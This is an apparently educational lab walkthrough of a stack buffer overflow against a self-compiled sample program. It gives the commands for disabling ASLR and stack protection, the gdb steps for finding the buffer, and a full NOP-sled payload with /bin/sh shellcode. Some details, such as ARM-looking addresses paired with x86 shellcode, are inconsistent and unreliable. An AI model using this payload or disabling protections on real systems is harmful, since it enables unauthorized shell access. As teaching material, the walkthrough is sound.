Buffer Overflow Exploit
Background
Buffer Overflow is a vulnerability in which a less privileged user gains unauthorized access to a shell with same privileges as the program's current executor by overwriting beyond the maximum buffer size. Once privileged access is had, severe damages can be inflicted on the target machine. This vulnerability often exists in programs written in C/C++, languages wherein the developer must manually manage the memory footprint.
Prereqs
- Linux distro on a VM, Raspberry Pi, or Linux on the host machine.
make
orgcc
C programgdb
Linux program - to install, runsudo apt-get install gdb
Steps
Map the vulnerable program in memory
-
Turn off buffer overflow protection measures ONLY for the duration of this exploit. See notes below:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space gcc vuln.c -o vuln -fno-stack-protector -z execstack -no-pie
-
Compile the sample vulnerable program
vuln.c
:make vuln
. -
Open the debugger and attach to our program:
gdb vuln
-
Disassemble the program function to see the program's location in memory:
disas main
. In the subsequent print out of the stack, locate wherestrcpy
gets called. It's0x00010498
in this case. -
We need to know where our string input will get copied into the buffer. Copy a memory address below the
strcpy
and add a breakpoint there.b *0x00010498
Find the Buffer Start Location
-
Attempt to overwrite the buffer with an arbitrary character of length n. This python script will write 230
A
's. Notice the function trips our breakpoint.run $(python -c "print('A' * 230)")
-
We need to find the memory address at which our buffer begins, which is signaled by our
A
s.- Run
x/200xb $sp
(could be$esp
or$rsp
depending on your platform) to generate a map of the memory addresses. See below for more notes on the GDBx
command.
- Run
-
JACKPOT! Where you see a full row of
0x41
(the hex representation forA
) is where our buffer begins! Save the memory address (0xbeffef68
here) for later.
Find the Buffer Length
Through trial & error, we will write an arbitrary length of an arbitrary character to discover the buffer length.
-
Delete the breakpoints:
delete
.y
when prompted. -
Run the python script again. Note that this time, the process will have exited normally. This means that 230
A
s was not enough to overflow the buffer (to overwrite into privileged parts of the memory) -
Increment the length of
A
s and repeat the script until the stdout starts to look funky. At 260, we start seeing a different message:The above message implies that the memory addresses where the system libraries get stored (i.e.
libc-start.c
) are starting to get corrupted by our script. -
At 264, we get a different message:
Jackpot! We found the starting point of our buffer, since we've reached the location where our overwritten
A
s (0x41414140
) begin. -
(Optional) You can test your hypothesis by rewriting the tip with
B
's instead:
Deliver the Payload
-
This prepared payload of length 46 bytes simply opens up a shell:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
-
Our new buffer structure of total length 264 bytes:
- FRONT PADDING Pad the beginning of the buffer with a "
no-op sled
" (\x90
) that makes the machine hop memory addresses until it reaches our payload.'\x90' * 214
- PAYLOAD Nest the 46 byte shell script
- RETURN ADDR Set the new return address as somewhere within the
no-op sled
so that the machine will execute our code. This is the memory address you saved from earlier (0xbeffef68
) - add this in the reversed endian format. The NOP sled/slide can be an actualnop
operation, or any other operation that doesn't change the control flow:xor eax,eax
,inc ax
.
- FRONT PADDING Pad the beginning of the buffer with a "
-
Run the final script with the payload:
run $(python -c "print('\x90' * 214 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\x68\xef\xff\xbe')")
-
Turn on the protection mechanisms again:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Notes
-
- Displays the memory contents at a given address using the specified format.
-x
= hexadecimal-b
= bytes
-
If you run into the message:
Unable to find Mach task port for process-id 46234: (os/kern) failure (0x5). (please check gdb is codesigned - see taskgated(8))
This means you ran this command on a Mac terminal. See here for help with codesigning
gdb
. Linux is recommended.